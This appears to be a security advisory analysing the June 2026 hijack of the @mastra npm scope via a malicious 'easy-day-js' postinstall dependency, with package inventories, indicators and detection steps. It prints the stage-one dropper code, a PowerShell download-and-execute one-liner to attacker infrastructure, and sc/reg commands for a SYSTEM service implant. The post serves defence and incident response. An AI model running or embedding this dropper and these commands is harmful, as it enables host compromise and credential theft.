critical

CVE

Not assigned

CWE

CWE-506, CWE-494, CWE-829

Affected Surface

  • 141 compromised `@mastra/*` packages plus the top-level `mastra` and `create-mastra` packages published on 17 June 2026
  • Mastra-based AI agent applications and toolchains using packages such as `@mastra/core`, `@mastra/mcp`, `@mastra/ai-sdk`, `@mastra/server`, `mastra`, `create-mastra`, and adjacent ecosystem artifacts such as `mastracode`
  • Developer workstations and CI runners that performed fresh npm installs and resolved `easy-day-js@1.11.22`
  • Hosts exposing LLM API keys, cloud credentials, npm tokens, GitHub tokens, browser data, or browser wallet data to Node.js processes
  • Windows hosts that reached attacker C2 and could receive a Sapphire Sleet PowerShell backdoor, `MicrosoftUpdate` Run-key persistence, or the `scdev` SYSTEM service implant

The most important new supply-chain story in the last three days is the 17 June takeover of the @mastra npm scope. Multiple security teams independently observed the same core pattern: the attacker did not need to backdoor Mastra’s TypeScript source, inject a native addon, or slip a payload into the visible application code. A compromised publisher account was enough to republish almost the entire scope with a one-line dependency addition that let npm do the rest.

The technical trick was small:

 "dependencies": {
+  "easy-day-js": "^1.11.21",
   ...
 }

That line is why this incident matters to AppSec teams. The carrier packages remained operationally “clean-looking” while the real malicious logic lived one dependency lower in easy-day-js@1.11.22. Any environment that performed a fresh install of an affected Mastra package after the malicious dependency was armed should be treated as having executed attacker-controlled code.

Count the incident carefully

Public reporting uses several different numbers for the Mastra blast radius. The discrepancy is mostly about what is being counted:

  • 141 compromised @mastra/* packages.
  • 143 affected Mastra packages if you add the top-level mastra and create-mastra packages.
  • 144 affected artifacts if you also count the malicious dependency easy-day-js.
  • 145 artifacts if you also count the separately reported mastracode package some defenders observed in the same publisher sweep.

Mastra’s later public incident writeup uses a narrower 116 malicious packages figure, while later vendor-linked and defender writeups also reference 142 publishable scope packages before adding mastra, create-mastra, and sometimes mastracode. That appears to be a difference in inventory boundaries rather than a contradiction of the event itself. For defenders, the practical answer is simpler than the counting debate: if you install from the Mastra ecosystem during the exposure window, search for the injected dependency and treat the host as exposed when it resolves to easy-day-js@1.11.22.

The semver carrier pattern

The attacker staged the dependency in two steps:

  1. Publish easy-day-js@1.11.21 on 16 June at 07:05 UTC as a clean-looking dayjs impersonator.
  2. Publish easy-day-js@1.11.22 on 17 June at 01:01 UTC with the malicious install hook, then republish Mastra packages with "easy-day-js": "^1.11.21" starting roughly 01:20 UTC.

That choice of version range is the entire point. The carrier packages did not need to mention 1.11.22 explicitly. A normal npm resolution of ^1.11.21 automatically selected the newest compatible patch release:

@mastra/core package.json
  -> easy-day-js ^1.11.21
  -> npm resolves latest matching patch
  -> easy-day-js 1.11.22
  -> postinstall runs setup.cjs

Microsoft’s package diff adds an important wrinkle here: the bundled dayjs.min.js payload in easy-day-js@1.11.21 and 1.11.22 was byte-identical. The weaponization delta lived almost entirely in the added postinstall path and setup.cjs, not in the visible application library code that developers were likely to inspect first.

This is one of the reasons registry-artifact review matters more than source-repository review during supply-chain response. The attack surface is not just “what changed in Git.” It is also “what new dependency range did the published tarball introduce, what exact registry metadata changed, and what did the registry serve for that range at install time?”

The publish anomaly was visible in registry metadata

One of the strongest late-breaking signals is that the compromised package versions broke the project’s normal publish pattern. Microsoft observed that earlier mastra releases were published through GitHub Actions OpenID Connect, while mastra@1.13.1 was manually pushed by the hijacked ehindero account using a Tutamail address.

The package-level delta was therefore not only the new dependency. It was also a provenance break:

mastra@1.13.0  published via GitHub Actions OIDC
mastra@1.13.1  manually published by ehindero2016@tutamail.com
easy-day-js    published by sergey2016@tutamail.com

That kind of registry metadata shift is high-signal during incident triage. When a package that normally publishes from CI suddenly appears as a manual release from an anonymous mailbox, the provenance break itself is part of the compromise evidence.

The malicious package did not need to look malicious

The easy-day-js package reportedly copied the legitimate dayjs description, repository metadata, homepage, and bundled dayjs.min.js to minimize visual differences during cursory inspection. The meaningful change was the added install hook:

{
  "scripts": {
    "postinstall": "node setup.cjs --no-warnings"
  }
}

The 1.11.21 release was the decoy. The 1.11.22 release was the armed version. That distinction matters because defenders who only inspected the original injected version string in the Mastra package manifests could falsely conclude the dependency was harmless.

What setup.cjs does

Public reverse engineering across Aikido, StepSecurity, Endor Labs, and Snyk aligns on the same stage-one logic. Stripped to the operational core, the dropper looks like this:

process.env.NODE_TLS_REJECT_UNAUTHORIZED = "0";

const payload = await (await fetch("https://23.254.164.92:8000/update/49890878")).text();
const filename = crypto.randomBytes(12).toString("hex") + ".js";
const filepath = path.join(os.tmpdir(), filename);

fs.writeFileSync(filepath, payload, "utf8");
child_process.spawn(process.execPath, [filepath, "23.254.164.123:443"], {
  cwd: os.tmpdir(),
  detached: true,
  stdio: "ignore",
  windowsHide: true
}).unref();

fs.rmSync(__filename, { force: true });

Several implementation details are worth calling out:

  • NODE_TLS_REJECT_UNAUTHORIZED = "0" disables certificate validation so the raw-IP HTTPS download succeeds even if the server presents an untrusted certificate.
  • The payload is fetched at install time, not bundled in the npm tarball, which reduces static package-diff visibility.
  • The random temp-file write plus detached: true and .unref() turns the second stage into a background process that can survive the package-manager session.
  • fs.rmSync(__filename, { force: true }) deletes the stage-one file after execution, removing the most obvious package-tree artifact.

Some reports also observed marker files such as .pkg_history and .pkg_logs, which means the dropper was not only executing code but leaving behind host-local state that could help the operator track installs or coordinate follow-on behavior.

The second stage was more than a simple stealer

The earlier public reports were enough to establish install-time code execution. Microsoft’s later reverse engineering makes it clearer that the detached payload was an operator-controlled implant rather than a one-shot grabber.

At a high level, the second stage behaves like this:

setup.cjs
  -> writes .pkg_history and XOR-encoded .pkg_logs markers
  -> GET https://23.254.164.92:8000/update/49890878
  -> writes random <12-hex>.js file to tmp
  -> node <random>.js 23.254.164.123:443
  -> installs persistence
  -> inventories host, browsers, wallets, and processes
  -> polls for follow-on tasks

That matters because the compromise did not stop at “download and run.” The second stage reportedly installed login persistence across all three major desktop platforms:

OSPersistence mechanismArtifact
WindowsHKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunC:\\ProgramData\\NodePackages\\protocal.cjs via NvmProtocal
macOSLaunchAgent~/Library/LaunchAgents/com.nvm.protocal.plist
Linuxuser-level systemd unit~/.config/systemd/user/nvmconf.service plus protocal.cjs

Public reverse engineering also indicates that the implant went after more than generic environment variables:

  • browser history databases from Chromium-family profiles
  • installed application inventories for host profiling
  • process lists and host metadata
  • 166 hardcoded browser-wallet extension IDs across Chrome, Edge, and Brave
  • follow-on task execution through built-in Node.js and shell runners

For Linux-focused defenders, the persistence path is especially important because it turns a package-manager event into a user-service foothold that can outlive the original npm install process.

June 19 update: this was also a Sapphire Sleet intrusion path

The most important follow-up in the last three days is Microsoft’s 19 June update attributing the Mastra compromise to Sapphire Sleet. That matters less as a naming exercise than as a scoping correction: on systems that progressed from package installation to active C2 communication, the attack chain did not necessarily stop at the Node.js implant already documented by Aikido, StepSecurity, Endor Labs, and Snyk.

Microsoft says hosts that reached the operator’s follow-on infrastructure could receive additional Windows-only tradecraft:

  • a dedicated PowerShell backdoor delivered from separate infrastructure
  • anti-forensic PowerShell history deletion
  • a second user-logon persistence path under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\MicrosoftUpdate
  • Microsoft Defender exclusions
  • a service-level implant that runs as SYSTEM

The follow-on command Microsoft published is short enough to show why this changes the remediation bar:

powershell -w h -c "iwr -UseBasicParsing https://teams.onweblive.org/api/update/8555575039/4|iex"

That is no longer just “package installs a stealer.” It is an operator-controlled post-compromise path that can move from install-time Node.js execution to fileless PowerShell execution on selected Windows victims. Microsoft’s writeup also shows the operator establishing a second persistence chain by writing C:\\ProgramData\\system.bat, registering it as MicrosoftUpdate, and then installing a service-backed DLL loader:

sc create scdev binPath= "c:\\windows\\system32\\svchost.exe -k scdev" type= share start= auto
reg add HKLM\\SYSTEM\\CurrentControlSet\\services\\scdev\\Parameters /v ServiceDll /t REG_EXPAND_SZ /d c:\\windows\\system32\\scdev.dll /f

For AppSec teams, the practical takeaway is simple: if an affected Windows workstation or runner talked to the Mastra C2, scope it like a real intrusion, not like a dependency-only cleanup task.

Why Mastra was a high-value target

Mastra is not “just another npm namespace.” It is an AI-agent framework that commonly runs close to the exact secrets modern AppSec teams worry about:

  • OPENAI_API_KEY, ANTHROPIC_API_KEY, GOOGLE_API_KEY
  • cloud credentials and workload identities
  • GitHub and npm publishing credentials
  • CI runner secrets
  • browser wallets or other user-local tokens on developer workstations

That target profile is reinforced by the package choices. The attacker did not hit only the core framework package. The compromised set spans:

  • framework core: @mastra/core, @mastra/server, mastra, create-mastra
  • AI/provider integrations: @mastra/openai, @mastra/claude, @mastra/perplexity, @mastra/ai-sdk
  • MCP and agent tooling: @mastra/mcp, @mastra/mcp-docs-server, @mastra/mcp-registry-registry
  • storage and vector backends: @mastra/pg, @mastra/libsql, @mastra/mongodb, @mastra/qdrant, @mastra/pinecone, @mastra/opensearch
  • observability and deployment surfaces: @mastra/observability, @mastra/loggers, @mastra/deployer, @mastra/deployer-cloudflare, @mastra/deployer-vercel

That spread strongly suggests a scope-wide scripted publish sweep rather than a one-off attack against a single high-download package.

Affected packages

The highest-profile compromised versions that multiple sources corroborate include:

  • @mastra/schema-compat@1.2.12
  • @mastra/core@1.42.1
  • mastra@1.13.1
  • create-mastra@1.13.1
  • @mastra/memory@1.20.4
  • @mastra/server@2.1.1
  • @mastra/deployer@1.42.1
  • @mastra/loggers@1.1.3
  • @mastra/observability@1.14.2
  • @mastra/mcp@1.10.1
  • @mastra/ai-sdk@1.4.6

For lockfile and package-cache scoping, use the broader verified package inventory below. This list covers the 143 affected Mastra package names observed across public inventories, excluding the separate malicious dependency easy-day-js:

create-mastra@1.13.1
mastra@1.13.1
@mastra/acp@0.2.2
@mastra/agent-browser@0.3.2
@mastra/agent-builder@1.0.42
@mastra/agentcore@0.2.2
@mastra/agentfs@0.1.1
@mastra/ai-sdk@1.4.6
@mastra/arize@1.2.3
@mastra/arthur@0.3.3
@mastra/astra@1.0.2
@mastra/auth@1.0.3
@mastra/auth-auth0@1.0.2
@mastra/auth-better-auth@1.0.4
@mastra/auth-clerk@1.0.3
@mastra/auth-cloud@1.1.4
@mastra/auth-firebase@1.0.1
@mastra/auth-okta@0.0.5
@mastra/auth-studio@1.2.4
@mastra/auth-supabase@1.0.2
@mastra/auth-workos@1.5.3
@mastra/azure@0.2.3
@mastra/blaxel@0.4.2
@mastra/braintrust@1.1.4
@mastra/brightdata@0.2.2
@mastra/browser-firecrawl@0.1.1
@mastra/browser-viewer@0.1.3
@mastra/chroma@1.0.2
@mastra/claude@1.0.3
@mastra/clickhouse@1.10.1
@mastra/client-js@1.24.1
@mastra/cloud@0.1.24
@mastra/cloudflare@1.4.2
@mastra/cloudflare-d1@1.0.7
@mastra/codemod@1.0.4
@mastra/convex@1.2.2
@mastra/core@1.42.1
@mastra/couchbase@1.0.4
@mastra/cursor@0.2.1
@mastra/dane@1.0.2
@mastra/datadog@1.2.5
@mastra/daytona@0.4.2
@mastra/deployer@1.42.1
@mastra/deployer-cloud@1.42.1
@mastra/deployer-cloudflare@1.1.44
@mastra/deployer-netlify@1.1.20
@mastra/deployer-vercel@1.1.38
@mastra/docker@0.3.1
@mastra/dsql@1.0.3
@mastra/duckdb@1.4.3
@mastra/dynamodb@1.0.9
@mastra/e2b@0.3.4
@mastra/editor@0.11.3
@mastra/elasticsearch@1.2.1
@mastra/engine@0.1.1
@mastra/evals@1.3.1
@mastra/express@1.3.31
@mastra/fastembed@1.1.3
@mastra/fastify@1.3.31
@mastra/files-sdk@0.2.1
@mastra/gcs@0.2.3
@mastra/github-signals@0.1.2
@mastra/google-cloud-pubsub@1.0.6
@mastra/google-drive@0.1.1
@mastra/hono@1.4.26
@mastra/inngest@1.5.2
@mastra/koa@1.5.14
@mastra/laminar@1.2.3
@mastra/lance@1.0.7
@mastra/langfuse@1.3.6
@mastra/langsmith@1.2.4
@mastra/libsql@1.13.1
@mastra/loggers@1.1.3
@mastra/longmemeval@1.0.50
@mastra/mcp@1.10.1
@mastra/mcp-docs-server@1.1.47
@mastra/mcp-registry-registry@1.0.2
@mastra/mem0@0.1.14
@mastra/memory@1.20.4
@mastra/modal@0.2.2
@mastra/mongodb@1.9.3
@mastra/mssql@1.3.2
@mastra/mysql@0.1.1
@mastra/nestjs@0.1.15
@mastra/node-audio@0.1.8
@mastra/node-speaker@0.1.1
@mastra/observability@1.14.2
@mastra/openai@1.0.2
@mastra/opencode@0.0.47
@mastra/opensearch@1.0.3
@mastra/otel-bridge@1.2.3
@mastra/otel-exporter@1.2.3
@mastra/perplexity@0.1.1
@mastra/pg@1.13.1
@mastra/pinecone@1.0.2
@mastra/playground-ui@33.0.1
@mastra/posthog@1.0.29
@mastra/qdrant@1.0.3
@mastra/rag@2.2.2
@mastra/railway@0.1.1
@mastra/react@1.0.1
@mastra/redis@1.1.3
@mastra/redis-streams@0.0.4
@mastra/s3@0.5.3
@mastra/s3vectors@1.0.7
@mastra/schema-compat@1.2.12
@mastra/sentry@1.1.4
@mastra/server@2.1.1
@mastra/slack@1.3.1
@mastra/spanner@1.1.2
@mastra/speech-azure@0.2.1
@mastra/speech-elevenlabs@0.2.1
@mastra/speech-google@0.2.1
@mastra/speech-ibm@0.2.1
@mastra/speech-murf@0.2.1
@mastra/speech-openai@0.2.1
@mastra/speech-replicate@0.2.1
@mastra/speech-speechify@0.2.1
@mastra/stagehand@0.2.5
@mastra/tavily@1.0.3
@mastra/temporal@0.1.14
@mastra/turbopuffer@1.0.3
@mastra/twilio@1.0.2
@mastra/upstash@1.1.3
@mastra/vectorize@1.0.3
@mastra/vercel@1.0.1
@mastra/voice-aws-nova-sonic@0.1.4
@mastra/voice-azure@0.11.2
@mastra/voice-cloudflare@0.12.3
@mastra/voice-deepgram@0.12.2
@mastra/voice-elevenlabs@0.12.2
@mastra/voice-gladia@0.12.2
@mastra/voice-google@0.12.3
@mastra/voice-google-gemini-live@0.12.2
@mastra/voice-inworld@0.3.1
@mastra/voice-modelslab@0.1.2
@mastra/voice-murf@0.12.3
@mastra/voice-openai@0.12.3
@mastra/voice-openai-realtime@0.12.6
@mastra/voice-playai@0.12.2
@mastra/voice-sarvam@1.0.2
@mastra/voice-speechify@0.12.2
@mastra/voice-xai-realtime@0.1.2

Track the malicious dependency separately:

easy-day-js@1.11.21  clean decoy release
easy-day-js@1.11.22  malicious postinstall dropper

Detection and scoping

Start with dependency and lockfile searches:

npm ls easy-day-js @mastra/core mastra create-mastra
pnpm why easy-day-js
yarn why easy-day-js

rg -n "easy-day-js|@mastra/" \
  package-lock.json pnpm-lock.yaml yarn.lock npm-shrinkwrap.json

Then inspect installed package trees or caches for the stage-one markers:

rg -n '"postinstall": "node setup\\.cjs --no-warnings"' node_modules ~/.npm
rg -n "NODE_TLS_REJECT_UNAUTHORIZED|23\\.254\\.164\\.92|23\\.254\\.164\\.123|\\.pkg_history|\\.pkg_logs" \
  node_modules ~/.npm "$HOME"

On Linux workstations and runners, also check for persistence or detached second-stage activity in temp and user-service locations:

ls -la ~/.pkg_history ~/.pkg_logs 2>/dev/null
ls -la ~/.config/systemd/user 2>/dev/null
ls -la ~/.config/systemd/user/nvmconf.service ~/.config/NodePackages 2>/dev/null
rg -n "23\\.254\\.164\\.123|NodePackages|nvmconf" ~/.config/systemd/user "$HOME"

On Windows developer workstations or runners, also look for the later-stage artifacts Microsoft tied to C2-positive hosts:

reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v NvmProtocal
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MicrosoftUpdate
reg query HKLM\SYSTEM\CurrentControlSet\Services\scdev\Parameters
sc qc scdev
powershell -NoProfile -Command "Get-MpPreference | Select-Object -ExpandProperty ExclusionPath"

Then search for the specific stage-three indicators on disk or in logs:

teams.onweblive.org
C:\ProgramData\system.bat
C:\Windows\System32\scdev.dll
MicrosoftUpdate
scdev

Because some malicious versions were unpublished or superseded quickly, historical registry timestamps may be a better forensic source than a simple current npm view <package>@<version> lookup. If you are reconstructing what a runner resolved during the exposure window, preserve lockfiles, npm cache contents, and CI logs before cleanup.

Response guidance

Treat installation of any affected version as code execution on the installing host.

  1. Isolate affected developer workstations or CI runners before broad credential rotation.
  2. Preserve lockfiles, npm cache entries, workflow logs, and any .pkg_history / .pkg_logs artifacts.
  3. Rebuild from a clean lockfile and clean package versions rather than trusting in-place dependency edits.
  4. Rotate GitHub, npm, cloud, AI-provider, SSH, and other secrets reachable from the affected host.
  5. Audit for persistence and follow-on payload execution, not just the presence of easy-day-js in the current dependency tree.
  6. On Windows hosts with evidence of C2 contact, treat MicrosoftUpdate, scdev, Defender exclusions, or teams.onweblive.org traffic as signs that the compromise moved beyond the initial Node.js implant.

The key lesson is that the visible package you install is no longer the whole security boundary. In the Mastra incident, the meaningful backdoor was a one-line dependency change plus semver resolution. If your review workflow still treats a clean-looking package.json diff as low risk when it adds an unused dependency, the attacker already knows where to hide.

From research to remediation

Check whether this pattern exists in your codebase

Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.

References